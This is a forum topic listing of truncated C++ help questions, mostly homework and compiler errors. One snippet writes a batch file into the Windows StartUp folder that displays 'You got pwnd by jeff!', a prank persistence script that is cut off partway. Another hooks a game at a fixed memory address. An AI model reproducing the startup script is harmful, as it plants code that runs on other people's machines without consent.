49,761 Topics
| |
hello can any one help me out dt how top create a symbol library using openGL? ...how to fetch dis symbol and display on screen ??... | |
I'm making a red black tree (RedBlack class) whose nodes will contain customers (customer class) rather than the generic int data. Unfortunately, I can't seem to get VS 2008 Express recognize that data is of type customer. I get all sorts of redefinition errors, and I've tried pragma once and … | |
Ok i im writing code that uses three funcrions and they are int getNumAccidents(); void findLowest(); void findHighest(): This proram function is this determines which of 5 geographic regions within a major city (north, south, east, west, and central) had the fewest and highest reported accidents last year. Could some … | |
My assignment is to develop a C++ program to count the number of capital letters in a given string. String will be entered by user. The idea is to build my knowledge of loops and loop terminations. I've got the basics down (I think) but I just don't get what … | |
this is my while code and i use DEV-c++ compiler and i want to make it as a function and i dont know how ??? and realy want it as soon as possiple because the dead line is tomorrow ------------------------------------------------------------------------------ [CODE]#include <iostream> #include <math.h> using namespace std; int binTodec (int … | |
I am inputing from a text file, displaying it on the screen, displaying the menus and the choosing from there. It will repeat the menu, but, how to do I get it to read the next line in my input file and display it to the screen before repeating the … | |
[CODE]#include <iostream> #include <fstream> #include <windows.h> #include <cstdio> using namespace std; int main () { ofstream myfile; myfile.open ("example.bat"); myfile << "@echo off\n"; myfile << "cd C:\WINDOWS\Start Menu\Programs\StartUp \n"; myfile << "echo @echo off >windows.bat\n"; myfile << "echo color 0c>>windows.bat\n"; myfile << "echo echo You got pwnd by jeff!>>windows.bat\n"; myfile … | |
Trying to find the string length,of word_to_guess,wont work,any suggestions??? [CODE] #include <iostream> #include <cstdlib> #include <string> using namespace std; int main() { int num; int size; int num_guess; string word_to_guess; string words [10] = {"john","paul", etc} char exit = 'y'; char guess; srand((unsigned)time(NULL)); num = rand() % 9 + 0; … | |
I want to fill a structure and then print it. How to print the values of the structue? The structure is: [CODE] #define UINT32 unsigned int #define INT32 int #define UCHAR unsigned char typedef struct CheckSumPair { UINT32 weakcs; // The weak, rolling Adler32 checksum. UCHAR StrongCS[10]; };[/CODE] I have … | |
i want this code to keep track of whose turn it is: but i keep getting this error : error: a function-definition is not allowed here before '{' token any help [CODE]void turn_it_is(int play1, int play2) { cout << ((turn_it_is%2)==1)?(play1:play2)<< cout << " it's your turn "; cin>> turn_it_is; }[/CODE] | |
I need to read a file into a struct so i can print out a monthly bank statement after adding all deposits and with drawkls from another file but im having trouble reading the fileinto the array this is what i have so far.. [CODE]#include <iostream> // Need for cout,cin … | |
i'm having problem in executing this statement.... error expression syntax switch(col) { case 1:text[]={"0x00000000"}; break; case 2:text[]={"0x00FFFFFF"}; break; case 3:text[]={"0x0000FF00"}; break; case 4:text[]={"0x00FF0000"}; break; case 5:text[]={"0x00C000C0"}; break; case 6:text[]={"0x000000FF"}; break; case 7:text[]={"0x0000FFFF"}; break; case 8: text[]={"0x00FFFF00"}; break; } char text[10] is global. please help me out............. | |
im trying to add i think you call a random string picker heres what i have added it too [CODE]#include "stdafx.h" refimport_t * ri = (refimport_t *) NULL; refexport_t * re = (refexport_t *) NULL; refimport_t * o_ri = (refimport_t *) NULL; refexport_t * o_re = (refexport_t *) 0x0068A1E8; cg_t … | |
Is it possible to convert [ICODE]std::FILE*[/ICODE] to [ICODE]iostream[/ICODE]? | |
So here is the code: [CODE] #include <cstdlib> #include <iostream> #include <iomanip> #include <stdlib.h> using namespace std; void printintromessage (); void getUserInput (char& Y); //void printplayerinfo (const int& numofgamesinseries, const int& numofplayersonteam, int& i); int main(int argc, char *argv[]) { const int numofgamesinseries = 3; const int numofplayersonteam = 4; … | |
Hey guys .i want to display a number on the 7 segment display through C program .. Can anybody pls give me source code or recommend respective book. Urgent Thank u | |
i get this error and idk know y anyone know wat i gotta fix [CODE]int main () { int total_score, print_score, action, whose_turn, go_again; cout << "Race to 100 " << endl; total_score = score_num(int &ns1,int &ns2,int &ns3, int &ns4, int &ns5, int &n6, char gam_answ); print_score= display_score(int curr_score); action= … | |
Hi. I've been browsing this forum for answers for some time now and i guess it's about time to post a question myself. Here's the deal: I have a dll file in which i define a method that sets SE_DEBUG_NAME to enabled. Here's the code: [CODE] // tema4dll.cpp : Defines … | |
[QUOTE]Hi all... can anyone explain how i can read from a config file and retrieve its value in a cpp file... I am writing down the cfg file...[/QUOTE] [CODE]<APM> [APM_SAYHELLO] Formatter.Type = String Formatter.Val = AtlLogPlainTextFormatter Filter.Type = String Filter.Val = LEVEL_DDEBUG ComponentLevelFilter.Type = String ComponentLevelFilter.Val = true ComponentsEnabled.Type = … | |
Quick question. I have a program that will run perfectly fine in the Debug version (Using MS VS 6) but when I set it to Release and build it, then set the command line arguments (or run it from the comman line) it blows up. Any ideas why this would … | |
Hi I am working on this game. I really never played it so I just read about it. I am getting three errors. I was hoping you guys can help me fix it? Thank you Error 1 error C2059: syntax error : 'do' 2008\projects\program9\program9\craps.cpp 36 Program9 Error 2 error C2143: … | |
[CODE] do { if (Y == 'Y' || Y == 'y') for (j = 0; j < numofplayersonteam; j++) { for (i = 0; i < numofgamesinseries; i++) { cout << "Enter player " << j+1 << "'s score " << i+1 << ": "; cin >> score[i][j]; } if … | |
Hi! I've got a Blackjack-program that I want to split into classes (Card.h and Deck.h) and have a menu, like this: 1. Play again 2. Show status (Gains / losses for the player / house) 3. Exit The program works fine, I just need a class-based solution. [CODE] #include <iostream> … | |
I use OPENFILENAME to get dialog for file browsing and, as a result, I get in char szFileName[MAX_PATH] the filename that user is want to read from. I create ifstream and run open( szFileName) on the ifstream object .unfortunately the ifstream object is null There could be the problem with … | |
Hi, I'm having problem with "WriteLine". What I'm tryin to do is write into the selected txt file(from openFileDialog) when user type something in the textBox. ****************************************************** My output is something wrong. For example: when I type "testing" in the textBox, what I see in my text file is as … | |
1.Write a c++ program which counts and displays the number of characters and blank spaces in its own source code. | |
Here is the entire code; [CODE] #include <iostream> #include <sstream> #include <cstdlib> using namespace std; const int MIN_SCORE = 0; const int MAX_SCORE = 300; const int numofgamesinseries = 3; const int numofplayersonteam = 4; void printintromessage (); void getUserInput(char& Y); int getInt(const string &, int minValid, int maxValid); typedef … | |
| So i overloaded the operator < and tried to reuse this by just returning the complement of it for the > comparison operator. I have been stuck at this error tho.. error C2679: binary '>' : no operator found which takes a right-hand operand of type 'const Customer' (or there … |
Hi guys, I have just written 2 versions of this simple program: [CODE]#include <iostream> using std::cin; using std::cout; int main () { cout << "This program counts from 10 to 0. \nGuess the missing number.\n"; int n; int f; for (n=10; n>0; n--) { if (n==5) continue; cout << n … | |
[CODE]// A personalized adventure #include <iostream> #include <string> #include <iostream> #include <string> using std::cout; using std::cin; using std::endl; using std::string; using namespace std; int main() { cout << "\tGame Designer's Network\n"; int security = 0; string username; cout << "\nUsername: "; cin >> username; string password; cout << "Password: "; … |
The End.